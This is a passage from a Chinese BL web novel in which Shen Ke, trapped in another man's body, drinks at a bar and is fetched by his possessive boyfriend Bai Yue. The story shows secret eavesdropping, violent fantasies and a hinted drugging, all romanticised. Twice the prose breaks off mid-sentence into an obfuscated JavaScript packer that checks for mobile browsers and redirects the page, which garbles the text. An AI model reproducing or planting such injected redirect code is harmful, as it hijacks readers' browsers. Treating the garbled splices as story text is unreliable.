那是他的生日。是“沈恪”的生日。也是他们原先计划返回C市的日子。 白越……是想在那天,陪“温清然”吗? 但听着电话那头努力掩饰却依然流露出的失落,拒绝的话怎么也说不出口。 “……好。七号,可以的。” 电话那头仿佛瞬间被点亮了。 “真的吗?谢谢宝宝。” 白越顿了顿,呼吸声透过听筒传来,带着试探:“那今晚,我可以听着宝宝的声音入睡吗?像现在这样,可能我就不会害怕了。” “诶?”沈恪没太明白,“怎、怎么听?” 一墙之隔的30B里,白越握着手机,听着听筒里带着疑惑的柔软嗓音,呼吸不自觉地急促了些许,声音却压得更低、更缓,如同耳语:“就像这样,把手机握在手心里,放在枕边。” 他闭上眼睛,仿佛真的能透过冰冷的机身触碰到那份温暖。 “就像是,把宝宝握在了手里。”他的声音轻得像一片羽毛,拂过沈恪的耳膜时却带着滚烫的温度,“宝宝,可以……不要挂断电话吗?” 沈恪一张脸唰地红了个彻底,连耳根都烧了起来。 那、那不就是一整晚都要连麦睡觉的意思嘛! 太暧昧了! 他脑子嗡嗡作响,心跳快得不像话。 电话那头,白越还在轻声问:“是不是太突然了?如果宝宝觉得困扰的话,就算了……晚上我一个人也可以的。” “不、不困扰!”沈恪几乎是想也没想就脱口而出,说完才觉得羞耻,声音弱了下去,“我……我很乐意。” 他听见自己的声音在发颤,却还是鼓起勇气补了一句:“我、我也想……能听到你的声音。” “晚安,宝宝。”白越的声音终于彻底放松下来,浸满了温柔的笑意。 “晚安。” 沈恪轻轻躺下,将手机小心地放在枕边,屏幕朝上,亮着微光。听筒里,白越的呼吸声逐渐变得悠长,像温柔的潮汐,一下,又一下,轻轻拍打着寂静的岸。 紧绷了一整天的神经,终于一点一点松懈下来。 他慢慢闭上眼。 那些混乱的、可怕的、让人不知所措的一切,仿佛都被这道声音轻轻推远了点。 还好。 沈恪在彻底沉入睡梦的前一刻,模糊地想。 还好有白越。 *** 门外,走廊尽头的窗户开着,有风灌进来。 祈愿靠在墙边,指尖夹着的烟已经燃到尽头。他弹掉烟灰,又点了一支。 房间里隐约传来沈恪时而急切时而柔软的声音。即使隔着一道门,也能听出那里面的欢欣。 祈愿吐出一口烟,烟雾在走廊里散开,很快被夜风吹散。 烟燃尽了。祈愿把烟蒂按灭,弹了弹袖口,转身走向房间。 刷卡,推门。 沈恪已经睡着了,衣服都没换,就那样侧躺着,手机还紧紧攥在手里,贴在耳边。 祈愿放轻脚步走过去。沈恪睡得很沉,呼吸均匀有偿。灯光下,他的睫毛在眼睑下投出两小片扇形的阴影。 祈愿看了一会儿,伸手想替他盖上被子。 指尖刚碰到被角,电话里忽然传来声音,清晰的,温柔的,带着善意的提醒: “宝宝,A市要降温了,小心着凉。” 祈愿的动作僵在半空。 他缓缓转过头,看向那部被沈恪攥在手里的手机。屏幕还亮着,显示通话时长:29分17秒。 还在通话中。 神经病。 他在心里嗤了一声。 都连着麦睡觉了,人都已经睡沉了,白越能不知道他听不见这话?这故作姿态的提醒,分明就是说给他听的。 祈愿确实有点怵白越。倒不是怕他这个人,而是忌惮白越背后那盘根错节的势力,以及他那捉摸不透、为达目的不择手段的作风。跟这种人硬碰硬,麻烦,且没必要。 但就这么认怂,也实在让人不爽。 “行。”他的声音不高,但足够让电话那头的人听清。 “那你可得好好照顾他。” 电话那头沉默了。 几秒后,传来白越平静的声音,听不出喜怒:“当然。” 祈愿没再说话。他伸手,把被子往沈恪头上一丢。动作不算温柔,但也没真用力,被子散开,盖住了沈恪大半个身体。 沈恪在睡梦中无意识地蹭了蹭枕头,发出一声含糊的呓语,嘴角还挂着那点傻乎乎的笑。 祈愿站在原地没动,目光落在沈恪沉睡的侧脸上。暖黄的灯光柔和了对方五官的凌厉线条,却让那副毫无防备的睡颜更加清晰。这张脸,白天还因为剧痛和恐惧憋得通红,眼眶湿漉漉的,却还笨拙地跟自己说对不起。 烦,温清然的脸能有什么好看的。 他忽然觉得胸口堵得慌,像是被什么东西撞了一下。 他大步走向自己的床。脱鞋,躺下,然后啪地一下关掉了自己这边的床头灯。 房间里瞬间暗了大半,只剩下沈恪那边一盏灯还幽幽地亮着。 黑暗中,祈愿睁着眼,盯着天花板。过了好一会儿,他才像是妥协了,带着点自暴自弃的意味,翻了个身,彻底背对着沈恪的方向,将那道微弱的光源和呼吸声都隔绝在身后。 19. 叛逆一下 沈恪今天没走那条小巷。 他选了一条更远的路,绕开那片老旧的居民区,沿着车水马龙的主干道,慢慢走向市中心医院。阳光很好,街道干净明亮,行人匆匆,一切看着都十分正常。 可他的神经依然紧绷着。路过每一条小巷口时,都会下意识地加快脚步。 他甩甩头,试图把脑子里那些可怕的画面压下去。 医院白色的建筑就在眼前。 *** 只是希望有多大,失望就有多大。 他又被拒绝了。 “求求你了,我们真的需要尽早换回来。” 沈恪握着公用电话,声音压得很低,带着他自己都没察觉的恳求。 电话那头沉默了几秒。 然后,温清然重重地叹了口气,语气疲惫又烦躁: “大哥,我也求你了行吗?在我能百分之百确定换回来这事儿对我没危险之前,你别来找我了。我真会被白越杀了的。” “怎么可能!白越不会那么做的!”沈恪几乎是不假思索地反驳道,“而且白越根本不知道我们交换身体的事!他怎么会……” “白痴。” 温清然在那边嗤笑了声打断他,声音冷了下来。 “我之前,”他语速放慢,每个字都像是从零下四度的天里捞出来的一样,“就差点被他杀过一次。” “……?” “我也懒得跟当什么谜语人,我就直说了,在变成你之前发生在我身上的事。周五放学我出去鬼混,凌晨才回家,累得跟死狗一样。”温清然的声音没什么起伏,像是在讲别人的事,“手机一堆未接,全是白越的。他说有重要的事,必须当面说。我想着正好,这烦人的关系也该断了,就去了他家。” “然后呢?”沈恪听见自己的心跳在加快。 “他说,最后了,好好吃顿饭,好好道个别吧。”温清然顿了顿,“饭是他做的,酒是他倒的。我喝了……然后就不省人事了。” “最后的印象是,肚子很痛,痛得我以为我要死了。” 沈恪张了张嘴,喉咙有些发干:“会不会是吃坏了东西?或者酒太烈了?” 温清然只是笑笑,好像在嘲笑沈恪的天真,没有回答,于是电话两端都安静下来,他深吸一口气,才开口继续说道: “所以我才说,你刚换过去那会儿,我以为白越会对你做点什么。没想到……”他的话语里带了点自嘲,“你俩处得还挺好。” 沈恪握紧了听筒。 他想反驳,想说“白越不是那种人”,想说“你没有证据”,可温清然描述的那种剧痛,他的确有这个印象。 脑子里莫名闪过沙发底下的那个白色药瓶。 他甩甩头,把那点动摇用力压下去。 那只是胃药而已!白越是不会那么做的! 他在心里不停地告诉自己。 “你为什么那么害怕白越啊?”沈恪换了个问题,声音有些干涩,“他……他看起来那么依赖你,但你辜负了他。” “依赖?”温清然像是听到了什么天大的笑话,声音陡然变得尖锐,“你听好了。那不是依赖,是变态!纯的!” “你以为他恋爱脑?我呸,扯那瘪犊子狗屁蛋!”温清然的语气里满是讥讽和深切的厌烦,“他就是喜欢演,演得好像很爱谁一样。看着他演得那么投入,你差点都要信了,觉得是自己对不起他,是自己太渣。” 他顿了顿,声音压低,带着冷意: “但你要是真信了,你就完了。他不是在爱人,他是在收集。他要的是完全的控制,是对方眼里只能有他一个人,是彻头彻尾的占有。我谈过那么多对象,不管是重男重女还是地雷系,他都是那里面最虚伪最变态的一个。他只是在享受表演而已,享受那种掌控别人情绪、让别人为他痛苦或快乐的感觉。” “你见过那种人吗?”温清然继续说,语速加快,像是急于把积压的恐惧倾倒出来,“不论你跑到哪里、和谁在一起,他好像总能知道。你骂他,羞辱他,让他滚,他当时会安静地离开,但第二天,他还是会出现在你面前,用那种好像不管咋么样都无所谓的眼神看着你。我都怀疑他是不是在我家里装了点什么东西。” “他就是个披着深情皮的怪物,沈恪。你最好离他远点,越远越好。” 沈恪握着听筒,眉头不自觉地蹙起。 温清然的话,每一个字都带着恶意。可这些话落进沈恪的耳朵里,却像隔着一层毛玻璃,他能听见声音,却无法真切感受到那份恐惧。 为什么呢? 因为他认识的白越,和温清然描述的,完全是截然不同的两个人。 他认识的白越,温柔,体贴,会在他需要的时候陪着他,会因为他一句想吃就做好饭菜,会因为怕打雷而露出脆弱的一面。那样的白越,怎么可能是怪物? 他无法理解温清然的逻辑,更无法认同那些充满了侮辱和贬低的词语。 “舔狗”、“偏执”、“变态”……这些词太重了,太伤人了。就算不喜欢,就算想分手,难道不能好好沟通吗?好聚好散并不难啊,为什么非要这样恶语相向,把对方贬低得一文不值? 沈恪抿紧了唇。他觉得这样做很没品,很不尊重人。 可他也知道,自己没资格去教育温清然。他们本就是两个世界的人,观念天差地别。何况温清然现在情绪激动,根本就是听不进去任何道理的样子。 他深吸一口气,决定不再纠缠于这个话题。 “算了不说白越的事了,你反正也不会信。”温清然的声音又回归了那种漫不经心的语调,仿佛刚才的激动只是错觉,“你要真无聊就去超市门口找个摇摇车玩玩行不?等我找着点什么换回来的线索我自然会来联系你的。” 沈恪抿了抿唇,把心里那些反驳的话都咽了回去。他抓住对方话里唯一关心的重点,声音放软,带着点卑微的哀求: “真的……不能见一面吗?哪怕就几分钟,我们好好想想办法?” “求我。” “求求你。” “不见。” 电话那头斩钉截铁。 温清然就这么不想换回来吗? 沈恪心里涌上一股无力感。 他占据了温清然优渥的生活、健康的身体,而真正的温清然,却困在自己那具病弱的躯体里……他难道不着急吗?为什么?那么一具怪异的躯体,他到底是怎么能够忍受得住的…… “好吧。”沈恪终究还是软了声音,退让了,“那你记得加我VX,我昨天一整天都没收到你的消息。” “再说。” 听筒里传来忙音。温清然挂得干脆利落。 沈恪握着话筒,在原地站了几秒,才轻轻把它挂回去。他对旁边值班护士露出个歉意微笑,低着头走出了医院大楼。 阳光刺眼。他抬手遮了遮,望着湛蓝的天。 接下来……该去哪儿?回酒店预习功课吗?可心里乱糟糟的,一个字也看不进去。 正茫然间,手机轻轻震动了一下。 难道是温清然终于加他了? 沈恪忙不迭地掏出来,点亮屏幕。 发信人不是温清然。 是祈愿。 【祈狗】:【定位】 【祈狗】:来吗,安阳和顾云岚也在。 沈恪点开定位看了一眼:“Heartbeat Haven”。 心跳港湾? 好奇怪的名字。 他点开地图看了看,是家定位高端的清吧,看图片环境雅致安静,并不像他印象中那种喧闹混乱的场所。 还是……别去了吧。他脑子里那个循规蹈矩的声音小声说。酒吧,总归不是他该去的地方。万一被认识的人看到,或者,万一喝醉了出丑怎么办? 可是…… 那个被压抑了十八年属于少年人的好奇,却在此刻悄然冒头。 他从来没有踏足过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265388|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样的地方。酒精是什么味道?所谓的成年人的世界到底是什么样子?电视里演的那些,是不是真的? 就试一次。一次就好。反正有祈愿他们在,应该……不会有事吧? 可是这样真的好吗?酒吧好像是个比较鱼龙混杂的地方。 他正纠结着该怎么回复,祈愿的消息又跳了出来。 【祁狗】:Hello?一直显示正在输入中是有什么心事吗? 沈恪被这句带着点促狭的问话逗笑了,紧张感散去些许。经过一段时间的相处他也对祈愿的性子有了大致的了解,想了想,手指在屏幕上敲击: 【已读不回是在细品。】 【祁狗】:噫,听起来真变态。 【祁狗】:温少那边咋说? 沈恪犹豫了一下,还是如实回复: 【他还是不想见我,说白越会杀了他。】 【祁狗】:只要他一直不换回来,这一天就永远不会到来,不管他。 【祁狗】:那你来吗?都在等你。 诶?话题跳得这么快的嘛? 沈恪的手指悬在屏幕上。去,还是不去?心里那点痒痒的好奇,和长久以来被规训出的要听话、要安分的念头在打架。 还没等他做出决定,祈愿的下一条消息已经抵达: 【顾云岚请客。免费。】 后面还跟了个酷酷的墨镜表情。 ……好吧。试一下。就一下。 沈恪像是终于找到了一个说得过去的理由,指尖落下: 【好。】 【小猫点头.jpg】 【行,你打车过来,我来接你。】 几乎是消息发送成功的同一时间,屏幕顶端又弹出一条新通知。 【白越】:宝宝,在做什么?吃过饭了吗?有什么想吃的吗? 是白越。 沈恪看着那行字,弯起了眉眼,心底那点因温清然的话而生的细微寒意,被这股熟悉的温柔轻易驱散。 他怎么会怀疑白越呢?白越对他那么好。 【想吃你烧的家常菜!真的很好吃!】他认真地回复。 【好,回来就做给你吃。】白越回得很快,仿佛一直在等着。 沈恪收起手机,走到路边拦了辆出租车。拉开车门坐进去,报出酒吧地址时,他脸上还带着未散的笑意。 司机是位健谈的中年大叔,从后视镜里看了他好几眼,终于笑呵呵地开口:“小伙子,笑得这么开心,是在和女朋友聊天吧?” 沈恪挠了挠有些发烫的脸颊,一边低头快速给白越发消息说自己去找祈愿他们玩一会儿,一边有些不好意思地小声回答:“……其实是男朋友啦。” “哦~”司机师傅拉长了声音,恍然大悟,随即爽朗地笑起来,“我懂我懂,你们年轻人,那个什么,BL是吧?挺好!我女儿也喜欢看这些,之前还跑去什么漫展,买一堆画册回来……” 大叔很健谈,言语间没有流露出丝毫对同性恋群体的歧视或好奇,只是单纯地分享着家常。可他越健谈,沈恪的脸就越红,最后只能全程嗯嗯点头,直到车子在酒吧门口停下,他才如释重负地付钱下车。 脚刚沾地,就看见祈愿抄着口袋,懒洋洋地靠在酒吧门外的灯柱旁,看样子等了有一会儿了。 “聊什么呢,”祈愿走过来,目光在沈恪还泛着红晕的脸上扫过,“笑得这么开心。” 沈恪拍了拍烫烫的双颊,眼里还带着未褪的笑意:“司机大叔问我是不是在和对象聊天。” 祈愿的脚步顿了下,随即恢复如常。他斜瞥了一眼身旁眼睛亮晶晶的沈恪,语气听起来没什么波澜:“你怎么说的?” “就……承认了呀。”沈恪脸颊微热,但还是坦然地点了点头。 祈愿将目光转向前方酒吧的霓虹招牌,沉默地走了两步,才淡淡地嗯了一声。 “也行,”他说,声音很轻,落在喧闹的街边几乎听不清,“挺好的。” 20. 他不想给 Heartbeat Haven内部和沈恪想象中的酒吧完全不同。 没有震耳欲聋的音乐,没有闪烁刺目的灯光,也没有拥挤狂舞的人群。环境虽然幽暗,看不清人群,但并不压抑,氛围静谧而慵懒。空气中弥漫着淡淡的酒香、咖啡香,还有若有似无的雪茄味。深色的木质装潢,柔软的皮质卡座,低声交谈的客人,一切都显得优雅而克制。 “这里和我想象中的完全不一样!”沈恪忍不住小声惊叹,好奇地东张西望。 祈愿拉着他手腕,熟门熟路地穿过几张桌子,将他带到吧台前的高脚凳上坐好。他自己则靠在旁边的吧台边缘,侧头看着沈恪脸上毫不掩饰的新奇,嘴角弯了一下。 不得不说,他看着是比温清然顺眼多了。 “你想象中的酒吧是什么样的?”祈愿问,语气里带着点玩味。 沈恪被问住了,认真想了想,然后不太好意思地摸了摸鼻子,声音更小了:“就……电视里演的那种,很吵,很多人跳舞,然后两个人喝酒喝着喝着……突然就、就……亲嘴。” 最后两个字声音小的几乎听不见。 这人平常在医院里看得都狗血八点档吗? 祈愿眉梢微挑,目光投向酒吧深处某个昏暗的角落,然后抬起手指了指:“喏,有的,比如那边。” 他指的是正拽着顾云岚衣领子啃着对方嘴皮子的安阳。 “谁?”沈恪立刻好奇地转过头,想要顺着他的手指看去。 就在他视线即将聚焦的刹那,一只温热的手掌忽然从旁边伸过来,捂住了他的眼睛。 视野陷入一片黑暗。 沈恪下意识地眨了眨眼,睫毛刷过祈愿的手心,有些痒。 “还是少看点不干净的东西。”祈愿的声音在很近的地方响起,比平时低沉一些。 “我都没看到呢……”沈恪小声嘟囔,眼前的手掌捂得并不紧。他终究是按捺不住好奇,抬手轻轻抓住了祈愿的手腕,想稍微拉开一点缝隙,偷偷瞧一眼,就一眼,满足下好奇心就好。 可他刚用了点力,那只捂住他眼睛的手反而收得更紧了些,稳稳地禁锢着他的视线。 掌心下,那双睫毛又扑闪了两下,像是困惑,又像是不甘心的试探,轻轻刮擦着他的皮肤。 祈愿感觉自己的心脏像是被那轻微的颤动不轻不重地撞了一下,有点闷,有点痒,还有点烦。他压低声音,又重复了一遍,这次语气更硬了些: “都说了不干净,辣眼睛。” 恰好这时,调酒师将两杯泛着浅金色光泽、杯口点缀着一圈细盐和糖霜的鸡尾酒推了过来,玻璃杯底与木质台面轻轻碰撞,发出噔的清脆声响。 “先生,您先前定制的两杯[雪国]好了。” 祈愿顺势收回了手。 视线恢复,沈恪转头看向他,歪了歪脑袋,不解地问:“什么不干净的东西?” 他的目光太直接,太干净,里面没有任何试探或暧昧,只是纯粹的困惑。就是这样纯粹的目光,却令祈愿心头那点莫名的燥意瞬间升腾。他猛地转开脸,拿起其中一杯酒推到沈恪面前,动作有些许粗鲁。 “我是说安阳和顾云岚那俩光天化日伤风败俗的玩意儿。”他语气硬邦邦的,“你还是少说点话,喝你的。” 沈恪被他这突如其来的坏脾气弄得有些懵,小声嘀咕:“我发现你最近好奇怪。” “嗯?” “你脾气变得好差啊,祈愿。”沈恪看着他,认真地说出观察结果,“比昨天还差。” 祈愿:“……” 谁知道呢。 他也不知道自己怎么了。只是看着这家伙用温清然的脸,露出那种全然信任的表情,看着他对白越那种近乎盲目的维护,看着他因为别人一句男朋友就脸红开心…… 就很烦。 或许这也是原因之一? 祈愿试图在混乱的思绪里抓住一点可能。 他认识温清然十几年,太清楚那混蛋是怎么对待白越的:轻蔑、厌烦、非打即骂,视如敝履。 那才是温清然。 可眼前这个顶着同样皮囊的家伙,却做出了完全OOC的操作,整一个角色错位。这种事情任何人看到,都会觉得怪异且不适,甚至说……烦躁。 对,这很正常。祈愿对自己说。 又或许是另一个原因?是因为昨晚白越隔着一部手机,用那种理所当然的语气对他说“当然”时,激起的那点微妙的不爽?难道这就是所谓男人的好胜心?还是单纯看不惯白越那副掌控一切的姿态? 他也搞不清了。 这感觉来得莫名其妙,又挥之不去。 烦。 祈愿端起自己那杯酒,仰头灌了一大口,冰凉的液体滑过喉咙,却压不下那股无名火。 “我去找安阳他们,”他放下酒杯,站起身,语气恢复了最开始刚戳穿对方马甲时的冷淡,只是眉头还蹙着,“再不管管那俩,指不定要在酒吧里怎么丢人。你在这等会,别乱喝别人给的东西,别乱跑。” 说完,不等沈恪回应,他便大步走向酒吧深处那个昏暗的角落,背影透着点落荒而逃的意味。 沈恪哦了一声,看着祈愿走远,才收回视线。他转过身,趴在光滑的吧台上,下巴垫着手臂,伸出指尖,小心翼翼地戳了戳面前酒杯外壁凝结的细密水珠。 冰块在淡金色的酒液中缓缓旋转,细小的气泡从杯底升腾,破裂,发出啵的一声。 沈恪的眼睛微微瞪大。 哇。 再戳。 又是啵的一声。 有点好玩。 他戳戳戳。 更多细密的气泡争先恐后地涌向杯底,然后接二连三地,啵、啵啵……连成一片。 好神奇! 沈恪的嘴角忍不住翘了起来,感觉新奇又愉悦。他从未见过这样的饮品,看起来漂亮得像艺术品,还和吹出来的泡泡一样那么好玩,和医院里那些苦涩的药完全不同。 他忽然觉得,自己今天答应来,好像……来对了? 这个念头刚冒出来,旁边就传来带笑的声音。 “第一次来吗?”调酒师是个笑容亲切的年轻男人,一边擦拭着杯子,一边主动搭话,“这杯[雪国]是经典款,伏特加做基酒,搭配白柑桂酒和柠檬汁,口感比较清爽,杯口的盐霜能调和酸度,提升风味。” 沈恪被他说得有点好奇:“会喝醉吗?” “酒精含量不低哦,”调酒师笑笑,“不过有糖和盐平衡,口感比较顺,没那么容易醉倒。你可以试试,慢点喝。” 没那么容易醉就好,就喝一小口,不会有事的。 沈恪点点头,双手捧起酒杯,小心翼翼地抿了一口。 冰凉、微酸、带着柑橘的清香和盐霜的咸味在舌尖化开,奇妙地中和了酒的烈感,回味清冽复杂。 好喝! 比他想象中任何一种味道都要好。 于是,一小口变成了一大口。一杯见底时,他只觉得脸颊有些发烫,身体暖洋洋的,头脑却异常清醒,甚至比刚才更放松了些。 而且完全没有喝醉的感觉! 沈恪惊喜地拍了拍自己发烫的脸颊。果然,温清然的身体就是好啊!代谢能力强,酒精耐受度高。他自己那具破身体,是绝对不敢碰酒的。 “嘿嘿。”他忍不住开心地笑出声来。这种微醺带来的轻飘感和愉悦,是他从未体验过的。 他摸出手机,给祈愿发消息。 【我可以再喝一杯嘛!】 几乎是秒回。 【不行。】 祈愿的头像旁边,“正在输入中”的状态闪了闪,又一条消息跳出来:【尝个味够了,别贪杯。】 沈恪撇了撇嘴,有点不服气。明明很好喝,而且自己也没醉。 他眼珠转了转,点开顾云岚的聊天框。顾云岚看起来比现在的祈愿好说话一点,既然是他请的客,那自己问问东道主,应该也不过分? 【哥,我可以再喝几杯[]雪国吗?】 【小猫探头.jpg】 这次回复得稍慢一些。 【随便。】 【安阳和祈愿出去解决个人恩怨了,你喝你的就行,记我账上。】 沈恪自动忽略了前半句,满脑子只剩下“随便”两个字。 顾云岚简直就是天使啊! 他立刻举起手,对着调酒师,眼睛亮晶晶的:“麻烦您,再来一杯!” 调酒师笑着应下。 于是第二杯,第三杯…… 淡金色的液体在杯中摇曳,冰块的凉意透过杯壁传到指尖。沈恪喝得越来越放松,越来越开心。那些烦心事,不论是换不回来的身体、温清然可怕的指控,还是小巷里面被陌生男人非礼的恐惧、对白越的愧疚,似乎都被这微醺的暖意推到了很远的地方。 他只顾着品尝这新奇的美味,感受酒精带来的轻盈。 期间,有个穿着时尚,看着也是常客的年轻男人端着酒杯凑近吧台,在沈恪旁边的空位坐下,笑着搭话:“一个人?这家的雪国确实不错。看你挺喜欢的?” 沈恪正沉浸在微醺的快乐里,反应慢了半拍,茫然地转头看向对方,因酒精而湿润的眼睛眨了眨,只是唔了一声,露出一个有点傻气的笑容。 对方被他这反应逗笑,眼神在他泛红的脸颊和迷蒙的眼睛上多停留了两秒,身体又靠近了些,声音压低,带着点诱哄:“加个VX?下次一起出来喝,我知道几家更好的店,我来轻咳……” 他话音未落,一只手臂忽然从旁边伸过来,搭在了沈恪身后的吧台椅背上。 “他有伴了。” 祈愿的声音响起,不高,却冷飕飕的。他不知何时已经回来,就站在沈恪侧后方两步远的地方,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……五杯?”祈愿闭了闭眼,再睁开时,深吸了一口气,“伏特加!” 调酒师点头:“这位先生很喜欢,喝得很快。” 祈愿简直无话可说。 牛逼。 五杯高度数的鸡尾酒,哪怕是温清然那副被酒色浸染过的身体,这么短时间内灌下去,也够呛。 他弯下腰,拍了拍沈恪滚烫的脸颊:“喂,醒醒。还能走吗?” 沈恪努力聚焦视线,看了他好一会儿,才慢吞吞地啊了一声,然后用力点头,结果因为动作太大,身体晃了一下,差点从高脚凳上栽下来。 祈愿眼疾手快地扶住他。 看来是不能了。 “嘿嘿……美味!”沈恪靠在他手臂上,仰着脸笑,呼出的气息带着浓重的酒香,“你、你也喝……” “喝你个头。”祈愿没好气地低声骂了一句,将他的手臂绕过自己脖子,半扶半抱地把人从凳子上弄下来,“我先带他去洗手间洗把脸清醒一下。你们俩,”他回头瞪了一眼卡座里不安分的安阳和事不关己的顾云岚,“给我老实待着,看着点东西。” 安阳做了个给嘴巴拉上拉链的动作。 祈愿搀着脚步虚浮的沈恪,朝着酒吧后方的洗手间方向走去。沈恪还在他耳边嘀嘀咕咕,一会儿说酒好喝,一会儿又哼起了不成调的曲子,温热的呼吸带着酒气,一阵阵拂过祈愿的颈侧。 “你少喝点吧你……”祈愿低声自语,不知是说给谁听,“就算是温清然的身体,也经不起这么造啊。” 走廊的光线比外面更加昏暗,墙壁上嵌着幽蓝色的氛围灯,脚下是吸音地毯。祈愿扶着沈恪,刚拐过弯,脚步却猛地顿住。 洗手间门口,昏暗的蓝光下,一道颀长的身影安静地倚靠在墙边。 那人穿着剪裁合体的深色大衣,双手随意地插在口袋里,微微低着头,额前的碎发垂落,遮住了部分眉眼。听到脚步声,他缓缓抬起头。 是白越。 他脸上没什么表情,甚至称得上平静。目光先落在醉醺醺的沈恪身上,停顿了两秒,眼神深邃如幽潭。然后,才慢慢将视线转向祈愿。 走廊里寂静无声,只有远处酒吧隐约的背景音乐,和沈恪含糊的嘟囔。 白越的嘴角,极其缓慢地勾了一下。 他向前走了一小步,对着祈愿,彬彬有礼地伸出手: “我来接我的男朋友。” 他的目光掠过祈愿扶着沈恪的手臂,眼神平静,却总令人感觉像是被冰冷的蛇信扫了一下。 几乎是瞬间,祈愿脑子里就闪过一个清晰强烈的念头: 他不想给。 他凭什么要把这家伙交给白越?就凭那一句男朋友? 可“他”又不是温清然!白越和“他”没有任何实质关系! 白越依然微笑着,耐心地等待着,伸出的手没有收回。那笑容完美无瑕,却像假面,看不透底下是何种情绪。 “还麻烦你,”白越即系道,声音依旧温和,甚至带着点不好意思的歉意,“不要告诉他我来过。” 21. 无知无觉 听见监听器里传来沈恪一杯接一杯傻乎乎说着好喝时,白越最初是想笑的。 真的,只是单纯的想笑。 耳机里,沈恪声音含混软糯,像偷到蜜的小动物,满足,天真,快乐得毫无阴霾,竟奇异地抚平了白越心中的焦躁。 这样或许也不错。 他想。 偶尔放养一下,让他接触一点外面的空气,看看不同的风景,尝尝没试过的东西,没有坏处。 至少他听起来很开心。 白越向后靠了靠,指尖在扶手上轻轻点着,想象着沈恪此刻红着链家眼睛发亮的样子。 他的小鹌鹑,就该是这样,鲜活的,生动的。 这很好。 可很快,耳机里传来的声音变了调。 祈愿的声音插了进来。 起初是模糊的对话,然后是“别喝了”,接着是衣料摩擦的窸窣,身体被搀扶时沈恪的嘟囔……最后,是祈愿对旁人交代的那句: “我带他去洗脸。” 想象立刻具象化。此刻的祈愿的手臂环过沈恪的腰,掌心贴着单薄衣料,他的小鹌鹑呢?或许正软绵绵靠在别人肩上…… “砰!” 指关节重重砸在扶手上,泛起一片红。 胸腔里那点欣慰被冻结,随着这一动作,那层冰壳子被一并震碎,迸裂涌出暴戾的洪流,轰地冲垮了理智的堤坝。脑子里不受控制地闪过无数画面,每一种都浸染着血色。 解决问题的方法也很简单,他可以让那只多管闲事的手永远消失,让那双看过不该看的地方的眼睛再也看不见,让那具碍事的身体以最痛苦的方式…… 他猛地扯下耳机掼在桌上。 不行。 白越闭眼深呼吸,努力压制住破笼而出的疯狂。 可以这么想,享受黑暗念头带来的快|感,但决不能做。 至少现在不行。 在他享受够了小鹌鹑给自己带来的愉悦满足之前,绝对不行。 被抓起来、身败名裂,他都无所谓,他甚至病态地期待过那样彻底崩坏的场面,觉得还不错。 可那样就见不到沈恪了。 在满足自己那些阴暗暴虐的暴力欲望和能继续见到沈恪之间,他甚至不需挣扎。后者带来的战栗愉悦远比前者更蚀骨上瘾。 他想要沈恪,哪怕是用手段,用伪装,用监视,用偷听,用扭曲的方式。 可如果连“见到”都成了奢望呢? 就像现在,他明明想把碰了沈恪的祈愿撕碎,却只能站在这里忍受宝物被染指的恶心。 光是想到这点,胸腔就堵得发慌。 比那个混账老头子掐着他脖子告诉他我才是你老子时,还要难以呼吸。 而这窒息的闷痛里,竟扭曲地滋生出了焦灼,滚烫的,沸腾的,暴虐地游走着。 他花了那么多心思,才让那只胆小的小鹌鹑愿意靠近,他不能亲手毁了它。 绝对不能。 所以,要冷静。 绝对,要冷静。 他睁眼起身,从容理好袖口,拾起了设备,穿上大衣。 然后,拿起搭在椅背上的深色大衣,仔细穿好。 该去接人了。 *** 祈愿的手指还扶在沈恪的手臂上。 温热的,绵软的,带着酒味。 就这么交出去? 他是真不乐意。 但他也很清楚,这样的想法是错的。 理智给了他当头一棒。 自家产业在真正的资本前脆弱如柴,白越甚至不需要亲自出手,只需要几句轻描淡写的话就足以让那点柴火彻底烧干。 真的要为了一个不知道名字的冒牌货得罪白越吗?要为了一时的意气用事毁掉父母数十年的积累? 现实与情绪在脑子里狠狠撞了一下,撞得他脑袋发胀。 真踏马该死。 他在这一刻深深厌恶自己。 他知道白越是个什么样的人。那家伙温和表象下的偏执与阴郁,早在对方和温清然交往时自己就有所察觉。就这么把沈恪交出去,真的好吗?那个傻乎乎的对谁都一副好心肠的冒牌货,落在白越手里会不会受伤? 但是……但是…… 祈愿,你到底在纠结什么但是? 要么就狠下心,管他什么白家黑家红橙黄绿青蓝紫家,直接不给,带着人转身就走。要么就干脆利落地放手,别再想这些有的没的。像现在这样,不上不下不三不四地卡在中间,既护不住人,又显得自己优柔寡断,才最尴尬。 他现在倒是真有点羡慕温清然那混蛋了。那家伙想骂就骂想打就打,随心所欲肆意妄为,根本不在乎白越背后是什么,也不在乎别人会不会因此不幸,只管自己爽。 天人交战时,白越又走近一步。那双含笑的眼睛看着祈愿,令人脊背发凉。 “你喜欢他?”白越轻声问,带着玩味的探究。 祈愿猝不及防地愣住。 “不可能。” 他很确信自己是直男。没有直男会喜欢顶着兄弟脸的同性。 “那就好。”白越笑意未减,“请放心把阿然交给我吧。” 祈愿的喉结滚动了一下,疑问脱口而出:“最后一个问题……你是怎么知道我们在这的?他和你说的?” 白越略微一顿,然后点了点头,眼神坦然: “是的。” 骗子。 祈愿心里嗤道。 就那个刚觉醒点叛逆情绪的傻瓜,能干出向男朋友老实交代去酒吧的事? 他躲还来不及! 可他没再追问。追问没有意义,只会显得自己更可笑,更……在意。 祈愿沉默着松开手,让开了路。 白越从容地接替了他的位置,稳稳扶住沈恪的腰,指尖若有似无地蹭过发烫的皮肤。 沈恪醉得迷迷糊糊,感觉到熟悉的气息靠近,下意识地就往白越怀里蹭。 